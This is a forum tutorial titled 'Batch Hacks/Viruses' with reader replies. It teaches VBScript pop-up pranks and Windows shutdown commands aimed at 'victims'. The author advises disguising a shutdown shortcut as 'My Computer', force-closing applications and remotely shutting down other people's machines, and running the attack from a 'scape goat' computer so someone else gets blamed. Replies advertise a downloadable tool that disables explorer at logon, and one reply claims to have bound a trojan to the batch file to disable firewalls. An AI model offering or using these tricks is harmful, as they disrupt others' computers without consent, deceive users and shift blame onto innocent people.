Part 1: Batch Hacks/Viruses

aussiedude's Avatar author of Part 1: Batch Hacks/Viruses
This is an article on Part 1: Batch Hacks/Viruses in Ethical hacking Tips.
Rated 5.00 By 1 users

Hey guys,



----- DISCLAIMER -----

Well i don't really know whether u can call these little things viruses or not. I suppose when i show u how to send them they are. Their basically the first step into making viruses and don't be a n00b at set one on your own comp

Background



Ok this first one although might be a bit lame u can get some good kicks and laughs outa this when people go to the toilet in their pants.

The code



Ok so what were gonna do is make a lil message box pop up onto the victims screen when they run the program. You have to save this as .vbs NOT .txt

Blocks of code should be set as style "Formatted" like this.
Code: Visual Basic Script (.vbs)
WScript.Echo ("enter your message")
Do not add syntax colorizing to your code snippets. Our scripts will colorize your code automatically if you specify the language name.

Step 2



Ok so now wot we want is to really freak them out so when they hit enter another message pops up

Code: Visual Basic Script (.vbs)
WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")
WScript.Echo ("enter your messgae")

Step 3



ok enough with playing now were gonna do some real stuff. Were gonna shutdown their comp, theres to ways to do this. The first is create a new shortcut and type...to make it more believable change to icon picture and name to something like 'My Computer' and the same with its icon then delete the 'My Computer' shortcut off someones desktop and replace it with ur version

Code: cmd.exe
shutdown -s

Step 4



the second way is to open a .txt file and type

Code: windows batch file (.bat)
shutdown -s

Step 5



ok ok now that might be a bit boring bare with me im getting on with it . anyway the next thing were gonna do is add a thirty second timer before the system shutdown happens

Code: windows batch file (.bat)
shutdown -s -t 030

Step 6



not so hard is it. now were gonna add our own little comment into it, it can be what ever you want

Code: windows batch file (.bat)
shutdown -s -t 030 -c "your own little message"

Step 7



Here comes the fun part...creating your own scape goat so you dont get busted for shutting down someones computer . Ok so what u want to do know is type all that one your scape goats computer then your going add this to the code

Code: windows batch file (.bat)
shutdown -s -t 030 -c "your own little message" -m \\your VICTIMS computer name

Step 8



Ok the last part will be to force all running applications on the computer to close...you can put this in with out the -m option if you don't wanna do that

Code: windows batch file (.bat)
shutdown -s -t 030 -c "your own little message" -m \\your VICTIMS computer name -f

The end



So now you cant do all that....remember with the -m option you can run that file from your OWN computer and shutdown somebody else's which is much more hacker like than setting up a trap on somebodies desktop....you can also do all that batch file stuff the same way in the short cut....i prefer to use scape goats and dw they don't usually get into much trouble...also this may or may not work depending on how strict your network and user restrictions are. If they are to strict u can always do this (but a bit different) on a disk bootable version of Linux.

Go get them

Btw I m not responsible if you go and kill someones computer...I m white hat
0
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
Hey there.
Not too long ago I made a pretty cool batch file that edits the registry and shuts off explorer immediatly after logon. Every time too. All you have to do is run the INSTALLER.exe to change the registry so that explorer (start bar, icons, windows, ect.) shuts off after logon (no more start bar, no more icons, no more windows, ect.). It is complete batch code but i converted it with a bat converter. Well, i just wanted to advertise that for ya.
~3xistanc3
0
Dak914's Avatar, Join Date: May 2008
Go4Expert Member
Oops i forgot to post the link, my bad, well here it is:
http://rapidshare.com/files/118949408/EXKILL.rar
Sorry!
~3xistanc3
0
batchman's Avatar
Light Poster
Hey, I made my own website located all around this Batch file stuff! Take a look - www.batchman.co.nr ! tell me what ya think!
0
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
I dont recommend the 030 second timer, the "client" can just turn off the batch entirely by typing shutdown -a in the CMD.
0
muthuis's Avatar, Join Date: Oct 2010
Go4Expert Member
Am a novice in these areas. Not sure if a simple batch file will become a virus or a hack. Is this some kind of the basic start of writing a virus?
0
&ever's Avatar, Join Date: Oct 2010
Go4Expert Member
Quote:
Originally Posted by muthuis View Post
Am a novice in these areas. Not sure if a simple batch file will become a virus or a hack. Is this some kind of the basic start of writing a virus?
I added a Trojan virus into it by binding them together, so the Batch will disable firewall and do what it does, while the trojan plants itself into the users computer.